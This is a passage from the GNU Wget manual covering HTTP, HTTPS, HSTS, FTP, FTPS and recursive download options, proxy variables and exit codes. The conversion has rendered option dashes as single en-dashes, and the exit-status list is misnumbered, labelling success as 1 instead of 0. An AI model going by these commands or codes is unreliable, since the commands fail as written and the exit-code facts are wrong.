Specify the username user and password password on an HTTP server. According to the type of the challenge, Wget will encode them using either the basic (insecure), the digest, or the Windows NTLM authentication scheme. Another way to specify username and password is in the URL itself. Either method reveals your password to anyone who bothers to run ps. To prevent the passwords from being seen, use the –use-askpass or store them in .wgetrc or .netrc, and make sure to protect those files from other users with chmod. If the passwords are really important, do not leave them lying in those files either—edit the files and delete them after Wget has started the download.

–no-http-keep-alive
Turn off the “keep-alive” feature for HTTP downloads. Normally, Wget asks the server to keep the connection open so that, when you download more than one document from the same server, they get transferred over the same TCP connection. This saves time and at the same time reduces the load on the server. This option is useful when, for some reason, persistent (keep-alive) connections don’t work for you, for example due to a server bug or due to the inability of server-side scripts to cope with the connections.

–no-cache
Disable server-side cache. In this case, Wget will send the remote server appropriate directives (Cache-Control: no-cache and Pragma: no-cache) to get the file from the remote service, rather than returning the cached version. This is especially useful for retrieving and flushing out-of-date documents on proxy servers. Caching is allowed by default.

–no-cookies
Disable the use of cookies. Cookies are a mechanism for maintaining server-side state. The server sends the client a cookie using the Set-Cookie header, and the client responds with the same cookie upon further requests. Since cookies allow the server owners to keep track of visitors and for sites to exchange this information, some consider them a breach of privacy. The default is to use cookies; however, storing cookies is not on by default.

–load-cookies file
Load cookies from file before the first HTTP retrieval. file is a textual file in the format originally used by Netscape’s cookies.txt file. You will typically use this option when mirroring sites that require that you be logged in to access some or all of their content. The login process typically works by the web server issuing an HTTP cookie upon receiving and verifying your credentials. The cookie is then resent by the browser when accessing that part of the site, and so proves your identity. Mirroring such a site requires Wget to send the same cookies your browser sends when communicating with the site. This is achieved by –load-cookies—simply point Wget to the location of the cookies.txt file, and it will send the same cookies your browser would send in the same situation. Different browsers keep textual cookie files in different locations:

“Netscape 4.x.”
The cookies are in ~/.netscape/cookies.txt.

“Mozilla and Netscape 6.x.”
Mozilla’s cookie file is also named cookies.txt, located somewhere under ~/.mozilla, in the directory of your profile. The full path usually ends up looking somewhat like ~/.mozilla/default/some-weird-string/cookies.txt.

“Internet Explorer.”
You can produce a cookie file Wget can use by using the File menu, Import and Export, Export Cookies. This has been tested with Internet Explorer 5; it is not guaranteed to work with earlier versions.

“Other browsers.”
If you are using a different browser to create your cookies, –load-cookies will only work if you can locate or produce a cookie file in the Netscape format that Wget expects.

If you cannot use –load-cookies, there might still be an alternative. If your browser supports a “cookie manager”, you can use it to view the cookies used when accessing the site you’re mirroring. Write down the name and value of the cookie, and manually instruct Wget to send those cookies, bypassing the “official” cookie support: wget –no-cookies –header “Cookie: <name>=<value>”

–save-cookies file
Save cookies to file before exiting. This will not save cookies that have expired or that have no expiry time (so-called “session cookies”), but also see –keep-session-cookies.

–keep-session-cookies
When specified, causes –save-cookies to also save session cookies. Session cookies are normally not saved because they are meant to be kept in memory and forgotten when you exit the browser. Saving them is useful on sites that require you to log in or to visit the home page before you can access some pages. With this option, multiple Wget runs are considered a single browser session as far as the site is concerned. Since the cookie file format does not normally carry session cookies, Wget marks them with an expiry timestamp of 0. Wget’s –load-cookies recognizes those as session cookies, but it might confuse other browsers. Also note that cookies so loaded will be treated as other session cookies, which means that if you want –save-cookies to preserve them again, you must use –keep-session-cookies again.

–ignore-length
Unfortunately, some HTTP servers (CGI programs, to be more precise) send out bogus Content-Length headers, which makes Wget go wild, as it thinks not all the document was retrieved. You can spot this syndrome if Wget retries getting the same document again and again, each time claiming that the (otherwise normal) connection has closed on the very same byte. With this option, Wget will ignore the Content-Length header—as if it never existed.

–header=header-line
Send header-line along with the rest of the headers in each HTTP request. The supplied header is sent as-is, which means it must contain name and value separated by colon, and must not contain newlines. You may define more than one additional header by specifying –header more than once. wget –header=Accept-Charset: iso-8859-2 \ –header=Accept-Language: hr \ http://fly.srk.fer.hr/ Specification of an empty string as the header value will clear all previous user-defined headers. As of Wget 1.10, this option can be used to override headers otherwise generated automatically. This example instructs Wget to connect to localhost, but to specify foo.bar in the Host header: wget –header=“Host: foo.bar” http://localhost/ In versions of Wget prior to 1.10 such use of –header caused sending of duplicate headers.

–compression=type
Choose the type of compression to be used. Legal values are auto, gzip and none. If auto or gzip are specified, Wget asks the server to compress the file using the gzip compression format. If the server compresses the file and responds with the Content-Encoding header field set appropriately, the file will be decompressed automatically. If none is specified, wget will not ask the server to compress the file and will not decompress any server responses. This is the default. Compression support is currently experimental. In case it is turned on, please report any bugs to [email protected].

–max-redirect=number
Specifies the maximum number of redirections to follow for a resource. The default is 20, which is usually far more than necessary. However, on those occasions where you want to allow more (or fewer), this is the option to use.

–proxy-user=user

–proxy-password=password

Specify the username user and password password for authentication on a proxy server. Wget will encode them using the basic authentication scheme. Security considerations similar to those with –http-password pertain here as well.

–referer=url
Include `Referer: url’ header in HTTP request. Useful for retrieving documents with server-side processing that assume they are always being retrieved by interactive web browsers and only come out properly when Referer is set to one of the pages that point to them.

–save-headers
Save the headers sent by the HTTP server to the file, preceding the actual contents, with an empty line as the separator.

-U agent-string

–user-agent=agent-string

Identify as agent-string to the HTTP server. The HTTP protocol allows the clients to identify themselves using a User-Agent header field. This enables distinguishing the WWW software, usually for statistical purposes or for tracing of protocol violations. Wget normally identifies as **Wget/**version, version being the current version number of Wget. However, some sites have been known to impose the policy of tailoring the output according to the User-Agent-supplied information. While this is not such a bad idea in theory, it has been abused by servers denying information to clients other than (historically) Netscape or, more frequently, Microsoft Internet Explorer. This option allows you to change the User-Agent line issued by Wget. Use of this option is discouraged, unless you really know what you are doing. Specifying empty user agent with –user-agent="" instructs Wget not to send the User-Agent header in HTTP requests.

–post-data=string

–post-file=file

Use POST as the method for all HTTP requests and send the specified data in the request body. –post-data sends string as data, whereas –post-file sends the contents of file. Other than that, they work in exactly the same way. In particular, they both expect content of the form key1=value1&key2=value2, with percent-encoding for special characters; the only difference is that one expects its content as a command-line parameter and the other accepts its content from a file. In particular, –post-file is not for transmitting files as form attachments: those must appear as key=value data (with appropriate percent-coding) just like everything else. Wget does not currently support multipart/form-data for transmitting POST data; only application/x-www-form-urlencoded. Only one of –post-data and –post-file should be specified. Please note that wget does not require the content to be of the form key1=value1&key2=value2, and neither does it test for it. Wget will simply transmit whatever data is provided to it. Most servers however expect the POST data to be in the above format when processing HTML Forms. When sending a POST request using the –post-file option, Wget treats the file as a binary file and will send every character in the POST request without stripping trailing newline or formfeed characters. Any other control characters in the text will also be sent as-is in the POST request. Please be aware that Wget needs to know the size of the POST data in advance. Therefore the argument to --post-file must be a regular file; specifying a FIFO or something like /dev/stdin won’t work. It’s not quite clear how to work around this limitation inherent in HTTP/1.0. Although HTTP/1.1 introduces chunked transfer that doesn’t require knowing the request length in advance, a client can’t use chunked unless it knows it’s talking to an HTTP/1.1 server. And it can’t know that until it receives a response, which in turn requires the request to have been completed – a chicken-and-egg problem. Note: As of version 1.15 if Wget is redirected after the POST request is completed, its behaviour will depend on the response code returned by the server. In case of a 301 Moved Permanently, 302 Moved Temporarily or 307 Temporary Redirect, Wget will, in accordance with RFC2616, continue to send a POST request. In case a server wants the client to change the Request method upon redirection, it should send a 303 See Other response code. This example shows how to log in to a server using POST and then proceed to download the desired pages, presumably only accessible to authorized users: # Log in to the server. This can be done only once. wget –save-cookies cookies.txt \ –post-data user=foo&password=bar \ http://example.com/auth.php # Now grab the page or pages we care about. wget –load-cookies cookies.txt \ -p http://example.com/interesting/article.php If the server is using session cookies to track user authentication, the above will not work because –save-cookies will not save them (and neither will browsers) and the cookies.txt file will be empty. In that case use –keep-session-cookies along with –save-cookies to force saving of session cookies.

–method=HTTP-Method
For the purpose of RESTful scripting, Wget allows sending of other HTTP Methods without the need to explicitly set them using –header=Header-Line. Wget will use whatever string is passed to it after –method as the HTTP Method to the server.

–body-data=Data-String

–body-file=Data-File

Must be set when additional data needs to be sent to the server along with the Method specified using –method. –body-data sends string as data, whereas –body-file sends the contents of file. Other than that, they work in exactly the same way. Currently, –body-file is not for transmitting files as a whole. Wget does not currently support multipart/form-data for transmitting data; only application/x-www-form-urlencoded. In the future, this may be changed so that wget sends the –body-file as a complete file instead of sending its contents to the server. Please be aware that Wget needs to know the contents of BODY Data in advance, and hence the argument to –body-file should be a regular file. See –post-file for a more detailed explanation. Only one of –body-data and –body-file should be specified. If Wget is redirected after the request is completed, Wget will suspend the current method and send a GET request till the redirection is completed. This is true for all redirection response codes except 307 Temporary Redirect which is used to explicitly specify that the request method should not change. Another exception is when the method is set to POST, in which case the redirection rules specified under –post-data are followed.

–content-disposition
If this is set to on, experimental (not fully-functional) support for Content-Disposition headers is enabled. This can currently result in extra round-trips to the server for a HEAD request, and is known to suffer from a few bugs, which is why it is not currently enabled by default. This option is useful for some file-downloading CGI programs that use Content-Disposition headers to describe what the name of a downloaded file should be. When combined with –metalink-over-http and –trust-server-names, a Content-Type: application/metalink4+xml file is named using the Content-Disposition filename field, if available.

–content-on-error
If this is set to on, wget will not skip the content when the server responds with a http status code that indicates error.

–trust-server-names
If this is set, on a redirect, the local file name will be based on the redirection URL. By default the local file name is based on the original URL. When doing recursive retrieving this can be helpful because in many web sites redirected URLs correspond to an underlying file structure, while link URLs do not.

–auth-no-challenge
If this option is given, Wget will send Basic HTTP authentication information (plaintext username and password) for all requests, just like Wget 1.10.2 and prior did by default. Use of this option is not recommended, and is intended only to support some few obscure servers, which never send HTTP authentication challenges, but accept unsolicited auth info, say, in addition to form-based authentication.

–retry-on-host-error
Consider host errors, such as “Temporary failure in name resolution”, as non-fatal, transient errors.

–retry-on-http-error=code[,code,…]
Consider given HTTP response codes as non-fatal, transient errors. Supply a comma-separated list of 3-digit HTTP response codes as argument. Useful to work around special circumstances where retries are required, but the server responds with an error code normally not retried by Wget. Such errors might be 503 (Service Unavailable) and 429 (Too Many Requests). Retries enabled by this option are performed subject to the normal retry timing and retry count limitations of Wget. Using this option is intended to support special use cases only and is generally not recommended, as it can force retries even in cases where the server is actually trying to decrease its load. Please use wisely and only if you know what you are doing.

HTTPS (SSL/TLS) Options

To support encrypted HTTP (HTTPS) downloads, Wget must be compiled with an external SSL library. The current default is GnuTLS. In addition, Wget also supports HSTS (HTTP Strict Transport Security). If Wget is compiled without SSL support, none of these options are available.

–secure-protocol=protocol
Choose the secure protocol to be used. Legal values are auto, SSLv2, SSLv3, TLSv1, TLSv1_1, TLSv1_2, TLSv1_3 and PFS. If auto is used, the SSL library is given the liberty of choosing the appropriate protocol automatically, which is achieved by sending a TLSv1 greeting. This is the default. Specifying SSLv2, SSLv3, TLSv1, TLSv1_1, TLSv1_2 or TLSv1_3 forces the use of the corresponding protocol. This is useful when talking to old and buggy SSL server implementations that make it hard for the underlying SSL library to choose the correct protocol version. Fortunately, such servers are quite rare. Specifying PFS enforces the use of the so-called Perfect Forward Security cipher suites. In short, PFS adds security by creating a one-time key for each SSL connection. It has a bit more CPU impact on client and server. We use known to be secure ciphers (e.g. no MD4) and the TLS protocol. This mode also explicitly excludes non-PFS key exchange methods, such as RSA.

–https-only
When in recursive mode, only HTTPS links are followed.

–ciphers
Set the cipher list string. Typically this string sets the cipher suites and other SSL/TLS options that the user wish should be used, in a set order of preference (GnuTLS calls it ‘priority string’). This string will be fed verbatim to the SSL/TLS engine (OpenSSL or GnuTLS) and hence its format and syntax is dependent on that. Wget will not process or manipulate it in any way. Refer to the OpenSSL or GnuTLS documentation for more information.

–no-check-certificate
Don’t check the server certificate against the available certificate authorities. Also don’t require the URL host name to match the common name presented by the certificate. As of Wget 1.10, the default is to verify the server’s certificate against the recognized certificate authorities, breaking the SSL handshake and aborting the download if the verification fails. Although this provides more secure downloads, it does break interoperability with some sites that worked with previous Wget versions, particularly those using self-signed, expired, or otherwise invalid certificates. This option forces an “insecure” mode of operation that turns the certificate verification errors into warnings and allows you to proceed. If you encounter “certificate verification” errors or ones saying that “common name doesn’t match requested host name”, you can use this option to bypass the verification and proceed with the download. Only use this option if you are otherwise convinced of the site’s authenticity, or if you really don’t care about the validity of its certificate. It is almost always a bad idea not to check the certificates when transmitting confidential or important data. For self-signed/internal certificates, you should download the certificate and verify against that instead of forcing this insecure mode. If you are really sure of not desiring any certificate verification, you can specify –check-certificate=quiet to tell wget to not print any warning about invalid certificates, albeit in most cases this is the wrong thing to do.

–certificate=file
Use the client certificate stored in file. This is needed for servers that are configured to require certificates from the clients that connect to them. Normally a certificate is not required and this switch is optional.

–certificate-type=type
Specify the type of the client certificate. Legal values are PEM (assumed by default) and DER, also known as ASN1.

–private-key=file
Read the private key from file. This allows you to provide the private key in a file separate from the certificate.

–private-key-type=type
Specify the type of the private key. Accepted values are PEM (the default) and DER.

–ca-certificate=file
Use file as the file with the bundle of certificate authorities (“CA”) to verify the peers. The certificates must be in PEM format. Without this option Wget looks for CA certificates at the system-specified locations, chosen at OpenSSL installation time.

–ca-directory=directory
Specifies directory containing CA certificates in PEM format. Each file contains one CA certificate, and the file name is based on a hash value derived from the certificate. This is achieved by processing a certificate directory with the c_rehash utility supplied with OpenSSL. Using –ca-directory is more efficient than –ca-certificate when many certificates are installed because it allows Wget to fetch certificates on demand. Without this option Wget looks for CA certificates at the system-specified locations, chosen at OpenSSL installation time.

–crl-file=file
Specifies a CRL file in file. This is needed for certificates that have been revocated by the CAs.

–pinnedpubkey=file/hashes
Tells wget to use the specified public key file (or hashes) to verify the peer. This can be a path to a file which contains a single public key in PEM or DER format, or any number of base64 encoded sha256 hashes preceded by “sha256//” and separated by “;” When negotiating a TLS or SSL connection, the server sends a certificate indicating its identity. A public key is extracted from this certificate and if it does not exactly match the public key(s) provided to this option, wget will abort the connection before sending or receiving any data.

–random-file=file
[OpenSSL and LibreSSL only] Use file as the source of random data for seeding the pseudo-random number generator on systems without /dev/urandom. On such systems the SSL library needs an external source of randomness to initialize. Randomness may be provided by EGD (see –egd-file below) or read from an external source specified by the user. If this option is not specified, Wget looks for random data in $RANDFILE or, if that is unset, in $HOME/.rnd. If you’re getting the “Could not seed OpenSSL PRNG; disabling SSL.” error, you should provide random data using some of the methods described above.

–egd-file=file
[OpenSSL only] Use file as the EGD socket. EGD stands for Entropy Gathering Daemon, a user-space program that collects data from various unpredictable system sources and makes it available to other programs that might need it. Encryption software, such as the SSL library, needs sources of non-repeating randomness to seed the random number generator used to produce cryptographically strong keys. OpenSSL allows the user to specify his own source of entropy using the RAND_FILE environment variable. If this variable is unset, or if the specified file does not produce enough randomness, OpenSSL will read random data from EGD socket specified using this option. If this option is not specified (and the equivalent startup command is not used), EGD is never contacted. EGD is not needed on modern Unix systems that support /dev/urandom.

–no-hsts
Wget supports HSTS (HTTP Strict Transport Security, RFC 6797) by default. Use –no-hsts to make Wget act as a non-HSTS-compliant UA. As a consequence, Wget would ignore all the Strict-Transport-Security headers, and would not enforce any existing HSTS policy.

–hsts-file=file
By default, Wget stores its HSTS database in ~/.wget-hsts. You can use –hsts-file to override this. Wget will use the supplied file as the HSTS database. Such file must conform to the correct HSTS database format used by Wget. If Wget cannot parse the provided file, the behaviour is unspecified. The Wget’s HSTS database is a plain text file. Each line contains an HSTS entry (ie. a site that has issued a Strict-Transport-Security header and that therefore has specified a concrete HSTS policy to be applied). Lines starting with a dash (#) are ignored by Wget. Please note that in spite of this convenient human-readability hand-hacking the HSTS database is generally not a good idea. An HSTS entry line consists of several fields separated by one or more whitespace: <hostname> SP [<port>] SP <include subdomains> SP <created> SP <max-age> The hostname and port fields indicate the hostname and port to which the given HSTS policy applies. The port field may be zero, and it will, in most of the cases. That means that the port number will not be taken into account when deciding whether such HSTS policy should be applied on a given request (only the hostname will be evaluated). When port is different to zero, both the target hostname and the port will be evaluated and the HSTS policy will only be applied if both of them match. This feature has been included for testing/development purposes only. The Wget testsuite (in testenv/) creates HSTS databases with explicit ports with the purpose of ensuring Wget’s correct behaviour. Applying HSTS policies to ports other than the default ones is discouraged by RFC 6797 (see Appendix B “Differences between HSTS Policy and Same-Origin Policy”). Thus, this functionality should not be used in production environments and port will typically be zero. The last three fields do what they are expected to. The field include_subdomains can either be 1 or 0 and it signals whether the subdomains of the target domain should be part of the given HSTS policy as well. The created and max-age fields hold the timestamp values of when such entry was created (first seen by Wget) and the HSTS-defined value ‘max-age’, which states how long should that HSTS policy remain active, measured in seconds elapsed since the timestamp stored in created. Once that time has passed, that HSTS policy will no longer be valid and will eventually be removed from the database. If you supply your own HSTS database via –hsts-file, be aware that Wget may modify the provided file if any change occurs between the HSTS policies requested by the remote servers and those in the file. When Wget exits, it effectively updates the HSTS database by rewriting the database file with the new entries. If the supplied file does not exist, Wget will create one. This file will contain the new HSTS entries. If no HSTS entries were generated (no Strict-Transport-Security headers were sent by any of the servers) then no file will be created, not even an empty one. This behaviour applies to the default database file (~/.wget-hsts) as well: it will not be created until some server enforces an HSTS policy. Care is taken not to override possible changes made by other Wget processes at the same time over the HSTS database. Before dumping the updated HSTS entries on the file, Wget will re-read it and merge the changes. Using a custom HSTS database and/or modifying an existing one is discouraged. For more information about the potential security threats arose from such practice, see section 14 “Security Considerations” of RFC 6797, specially section 14.9 “Creative Manipulation of HSTS Policy Store”.

–warc-file=file
Use file as the destination WARC file.

–warc-header=string
Use string into as the warcinfo record.

–warc-max-size=size
Set the maximum size of the WARC files to size.

–warc-cdx
Write CDX index files.

–warc-dedup=file
Do not store records listed in this CDX file.

–no-warc-compression
Do not compress WARC files with GZIP.

–no-warc-digests
Do not calculate SHA1 digests.

–no-warc-keep-log
Do not store the log file in a WARC record.

–warc-tempdir=dir
Specify the location for temporary files created by the WARC writer.

FTP Options

–ftp-user=user

–ftp-password=password

Specify the username user and password password on an FTP server. Without this, or the corresponding startup option, the password defaults to -wget@, normally used for anonymous FTP. Another way to specify username and password is in the URL itself. Either method reveals your password to anyone who bothers to run ps. To prevent the passwords from being seen, store them in .wgetrc or .netrc, and make sure to protect those files from other users with chmod. If the passwords are really important, do not leave them lying in those files either—edit the files and delete them after Wget has started the download.

–no-remove-listing
Don’t remove the temporary .listing files generated by FTP retrievals. Normally, these files contain the raw directory listings received from FTP servers. Not removing them can be useful for debugging purposes, or when you want to be able to easily check on the contents of remote server directories (e.g. to verify that a mirror you’re running is complete). Note that even though Wget writes to a known filename for this file, this is not a security hole in the scenario of a user making .listing a symbolic link to /etc/passwd or something and asking root to run Wget in his or her directory. Depending on the options used, either Wget will refuse to write to .listing, making the globbing/recursion/time-stamping operation fail, or the symbolic link will be deleted and replaced with the actual .listing file, or the listing will be written to a .listing.number file. Even though this situation isn’t a problem, though, root should never run Wget in a non-trusted user’s directory. A user could do something as simple as linking index.html to /etc/passwd and asking root to run Wget with -N or -r so the file will be overwritten.

–no-glob
Turn off FTP globbing. Globbing refers to the use of shell-like special characters (wildcards), like *, ?, [ and ] to retrieve more than one file from the same directory at once, like: wget ftp://gnjilux.srk.fer.hr/*.msg By default, globbing will be turned on if the URL contains a globbing character. This option may be used to turn globbing on or off permanently. You may have to quote the URL to protect it from being expanded by your shell. Globbing makes Wget look for a directory listing, which is system-specific. This is why it currently works only with Unix FTP servers (and the ones emulating Unix ls output).

–no-passive-ftp
Disable the use of the passive FTP transfer mode. Passive FTP mandates that the client connect to the server to establish the data connection rather than the other way around. If the machine is connected to the Internet directly, both passive and active FTP should work equally well. Behind most firewall and NAT configurations passive FTP has a better chance of working. However, in some rare firewall configurations, active FTP actually works when passive FTP doesn’t. If you suspect this to be the case, use this option, or set passive_ftp=off in your init file.

–preserve-permissions
Preserve remote file permissions instead of permissions set by umask.

–retr-symlinks
By default, when retrieving FTP directories recursively and a symbolic link is encountered, the symbolic link is traversed and the pointed-to files are retrieved. Currently, Wget does not traverse symbolic links to directories to download them recursively, though this feature may be added in the future. When –retr-symlinks=no is specified, the linked-to file is not downloaded. Instead, a matching symbolic link is created on the local file system. The pointed-to file will not be retrieved unless this recursive retrieval would have encountered it separately and downloaded it anyway. This option poses a security risk where a malicious FTP Server may cause Wget to write to files outside of the intended directories through a specially crafted .LISTING file. Note that when retrieving a file (not a directory) because it was specified on the command-line, rather than because it was recursed to, this option has no effect. Symbolic links are always traversed in this case.

FTPS Options

–ftps-implicit
This option tells Wget to use FTPS implicitly. Implicit FTPS consists of initializing SSL/TLS from the very beginning of the control connection. This option does not send an AUTH TLS command: it assumes the server speaks FTPS and directly starts an SSL/TLS connection. If the attempt is successful, the session continues just like regular FTPS (PBSZ and PROT are sent, etc.). Implicit FTPS is no longer a requirement for FTPS implementations, and thus many servers may not support it. If –ftps-implicit is passed and no explicit port number specified, the default port for implicit FTPS, 990, will be used, instead of the default port for the “normal” (explicit) FTPS which is the same as that of FTP, 21.

–no-ftps-resume-ssl
Do not resume the SSL/TLS session in the data channel. When starting a data connection, Wget tries to resume the SSL/TLS session previously started in the control connection. SSL/TLS session resumption avoids performing an entirely new handshake by reusing the SSL/TLS parameters of a previous session. Typically, the FTPS servers want it that way, so Wget does this by default. Under rare circumstances however, one might want to start an entirely new SSL/TLS session in every data connection. This is what –no-ftps-resume-ssl is for.

–ftps-clear-data-connection
All the data connections will be in plain text. Only the control connection will be under SSL/TLS. Wget will send a PROT C command to achieve this, which must be approved by the server.

–ftps-fallback-to-ftp
Fall back to FTP if FTPS is not supported by the target server. For security reasons, this option is not asserted by default. The default behaviour is to exit with an error. If a server does not successfully reply to the initial AUTH TLS command, or in the case of implicit FTPS, if the initial SSL/TLS connection attempt is rejected, it is considered that such server does not support FTPS.

Recursive Retrieval Options

-r

–recursive

Turn on recursive retrieving. The default maximum depth is 5.

-l depth

–level=depth

Set the maximum number of subdirectories that Wget will recurse into to depth. In order to prevent one from accidentally downloading very large websites when using recursion this is limited to a depth of 5 by default, i.e., it will traverse at most 5 directories deep starting from the provided URL. Set -l 0 or -l inf for infinite recursion depth. wget -r -l 0 http://<site>/1.html Ideally, one would expect this to download just 1.html. but unfortunately this is not the case, because -l 0 is equivalent to -l inf—that is, infinite recursion. To download a single HTML page (or a handful of them), specify them all on the command line and leave away -r and -l. To download the essential items to view a single HTML page, see page requisites.

–delete-after
This option tells Wget to delete every single file it downloads, after having done so. It is useful for pre-fetching popular pages through a proxy, e.g.: wget -r -nd –delete-after http://whatever.com/~popular/page/ The -r option is to retrieve recursively, and -nd to not create directories. Note that –delete-after deletes files on the local machine. It does not issue the DELE command to remote FTP sites, for instance. Also note that when –delete-after is specified, –convert-links is ignored, so .orig files are simply not created in the first place.

-k

–convert-links

After the download is complete, convert the links in the document to make them suitable for local viewing. This affects not only the visible hyperlinks, but any part of the document that links to external content, such as embedded images, links to style sheets, hyperlinks to non-HTML content, etc. Each link will be changed in one of the two ways:

  • The links to files that have been downloaded by Wget will be changed to refer to the file they point to as a relative link. Example: if the downloaded file /foo/doc.html links to /bar/img.gif, also downloaded, then the link in doc.html will be modified to point to ../bar/img.gif. This kind of transformation works reliably for arbitrary combinations of directories.

  • The links to files that have not been downloaded by Wget will be changed to include host name and absolute path of the location they point to. Example: if the downloaded file /foo/doc.html links to /bar/img.gif (or to ../bar/img.gif), then the link in doc.html will be modified to point to http://hostname/bar/img.gif.

Because of this, local browsing works reliably: if a linked file was downloaded, the link will refer to its local name; if it was not downloaded, the link will refer to its full Internet address rather than presenting a broken link. The fact that the former links are converted to relative links ensures that you can move the downloaded hierarchy to another directory. Note that only at the end of the download can Wget know which links have been downloaded. Because of that, the work done by -k will be performed at the end of all the downloads.

–convert-file-only
This option converts only the filename part of the URLs, leaving the rest of the URLs untouched. This filename part is sometimes referred to as the “basename”, although we avoid that term here in order not to cause confusion. It works particularly well in conjunction with –adjust-extension, although this coupling is not enforced. It proves useful to populate Internet caches with files downloaded from different hosts. Example: if some link points to //foo.com/bar.cgi?xyz with –adjust-extension asserted and its local destination is intended to be ./foo.com/bar.cgi?xyz.css, then the link would be converted to //foo.com/bar.cgi?xyz.css. Note that only the filename part has been modified. The rest of the URL has been left untouched, including the net path (//) which would otherwise be processed by Wget and converted to the effective scheme (ie. http://).

-K

–backup-converted

When converting a file, back up the original version with a .orig suffix. Affects the behavior of -N.

-m

–mirror

Turn on options suitable for mirroring. This option turns on recursion and time-stamping, sets infinite recursion depth and keeps FTP directory listings. It is currently equivalent to -r -N -l inf –no-remove-listing.

-p

–page-requisites

This option causes Wget to download all the files that are necessary to properly display a given HTML page. This includes such things as inlined images, sounds, and referenced stylesheets. Ordinarily, when downloading a single HTML page, any requisite documents that may be needed to display it properly are not downloaded. Using -r together with -l can help, but since Wget does not ordinarily distinguish between external and inlined documents, one is generally left with “leaf documents” that are missing their requisites. For instance, say document 1.html contains an <IMG> tag referencing 1.gif and an <A> tag pointing to external document 2.html. Say that 2.html is similar but that its image is 2.gif and it links to 3.html. Say this continues up to some arbitrarily high number. If one executes the command: wget -r -l 2 http://<site>/1.html then 1.html, 1.gif, 2.html, 2.gif, and 3.html will be downloaded. As you can see, 3.html is without its requisite 3.gif because Wget is simply counting the number of hops (up to 2) away from 1.html in order to determine where to stop the recursion. However, with this command: wget -r -l 2 -p http://<site>/1.html all the above files and 3.html’s requisite 3.gif will be downloaded. Similarly, wget -r -l 1 -p http://<site>/1.html will cause 1.html, 1.gif, 2.html, and 2.gif to be downloaded. One might think that: wget -r -l 0 -p http://<site>/1.html would download just 1.html and 1.gif, but unfortunately this is not the case, because -l 0 is equivalent to -l inf—that is, infinite recursion. To download a single HTML page (or a handful of them, all specified on the command-line or in a -i URL input file) and its (or their) requisites, simply leave off -r and -l: wget -p http://<site>/1.html Note that Wget will behave as if -r had been specified, but only that single page and its requisites will be downloaded. Links from that page to external documents will not be followed. Actually, to download a single page and all its requisites (even if they exist on separate websites), and make sure the lot displays properly locally, this author likes to use a few options in addition to -p: wget -E -H -k -K -p http://<site>/<document> To finish off this topic, it’s worth knowing that Wget’s idea of an external document link is any URL specified in an <A> tag, an <AREA> tag, or a <LINK> tag other than <LINK REL=“stylesheet”>.

–strict-comments
Turn on strict parsing of HTML comments. The default is to terminate comments at the first occurrence of –>. According to specifications, HTML comments are expressed as SGML declarations. Declaration is special markup that begins with <! and ends with >, such as <!DOCTYPE …>, that may contain comments between a pair of delimiters. HTML comments are “empty declarations”, SGML declarations without any non-comment text. Therefore, <!–foo–> is a valid comment, and so is <!–one– –two–>, but <!–1–2–> is not. On the other hand, most HTML writers don’t perceive comments as anything other than text delimited with <!– and –>, which is not quite the same. For example, something like <!————> works as a valid comment as long as the number of dashes is a multiple of four (!). If not, the comment technically lasts until the next , which may be at the other end of the document. Because of this, many popular browsers completely ignore the specification and implement what users have come to expect: comments delimited with <!– and –>. Until version 1.9, Wget interpreted comments strictly, which resulted in missing links in many web pages that displayed fine in browsers, but had the misfortune of containing non-compliant comments. Beginning with version 1.9, Wget has joined the ranks of clients that implements “naive” comments, terminating each comment at the first occurrence of –>. If, for whatever reason, you want strict comment parsing, use this option to turn it on.

Recursive Accept/Reject Options

-A acclist –accept acclist

-R rejlist –reject rejlist

Specify comma-separated lists of file name suffixes or patterns to accept or reject. Note that if any of the wildcard characters, *, ?, [ or ], appear in an element of acclist or rejlist, it will be treated as a pattern, rather than a suffix. In this case, you have to enclose the pattern into quotes to prevent your shell from expanding it, like in -A “*.mp3” or -A ‘*.mp3’.

–accept-regex urlregex

–reject-regex urlregex

Specify a regular expression to accept or reject the complete URL.

–regex-type regextype
Specify the regular expression type. Possible types are posix or pcre. Note that to be able to use pcre type, wget has to be compiled with libpcre support.

-D domain-list

–domains=domain-list

Set domains to be followed. domain-list is a comma-separated list of domains. Note that it does not turn on -H.

–exclude-domains domain-list
Specify the domains that are not to be followed.

–follow-ftp
Follow FTP links from HTML documents. Without this option, Wget will ignore all the FTP links.

–follow-tags=list
Wget has an internal table of HTML tag / attribute pairs that it considers when looking for linked documents during a recursive retrieval. If a user wants only a subset of those tags to be considered, however, he or she should be specify such tags in a comma-separated list with this option.

–ignore-tags=list
This is the opposite of the –follow-tags option. To skip certain HTML tags when recursively looking for documents to download, specify them in a comma-separated list. In the past, this option was the best bet for downloading a single page and its requisites, using a command-line like: wget –ignore-tags=a,area -H -k -K -r http://<site>/<document> However, the author of this option came across a page with tags like <LINK REL="home" HREF="/"> and came to the realization that specifying tags to ignore was not enough. One can’t just tell Wget to ignore <LINK>, because then stylesheets will not be downloaded. Now the best bet for downloading a single page and its requisites is the dedicated –page-requisites option.

–ignore-case
Ignore case when matching files and directories. This influences the behavior of -R, -A, -I, and -X options, as well as globbing implemented when downloading from FTP sites. For example, with this option, -A “*.txt” will match file1.txt, but also file2.TXT, file3.TxT, and so on. The quotes in the example are to prevent the shell from expanding the pattern.

-H

–span-hosts

Enable spanning across hosts when doing recursive retrieving.

-L

–relative

Follow relative links only. Useful for retrieving a specific home page without any distractions, not even those from the same hosts.

-I list

–include-directories=list

Specify a comma-separated list of directories you wish to follow when downloading. Elements of list may contain wildcards.

-X list

–exclude-directories=list

Specify a comma-separated list of directories you wish to exclude from download. Elements of list may contain wildcards.

-np

–no-parent

Do not ever ascend to the parent directory when retrieving recursively. This is a useful option, since it guarantees that only the files below a certain hierarchy will be downloaded.

ENVIRONMENT

Wget supports proxies for both HTTP and FTP retrievals. The standard way to specify proxy location, which Wget recognizes, is using the following environment variables:

http_proxy

https_proxy

If set, the http_proxy and https_proxy variables should contain the URLs of the proxies for HTTP and HTTPS connections respectively.

ftp_proxy
This variable should contain the URL of the proxy for FTP connections. It is quite common that http_proxy and ftp_proxy are set to the same URL.

no_proxy
This variable should contain a comma-separated list of domain extensions proxy should not be used for. For instance, if the value of no_proxy is .mit.edu, proxy will not be used to retrieve documents from MIT.

EXIT STATUS

Wget may return one of several error codes if it encounters problems.

  1. No problems occurred.

  2. Generic error code.

  3. Parse error—for instance, when parsing command-line options, the .wgetrc or .netrc

  4. File I/O error.

  5. Network failure.

  6. SSL verification failure.

  7. Username/password authentication failure.

  8. Protocol errors.

  9. Server issued an error response.

With the exceptions of 0 and 1, the lower-numbered exit codes take precedence over higher-numbered ones, when multiple types of errors are encountered.

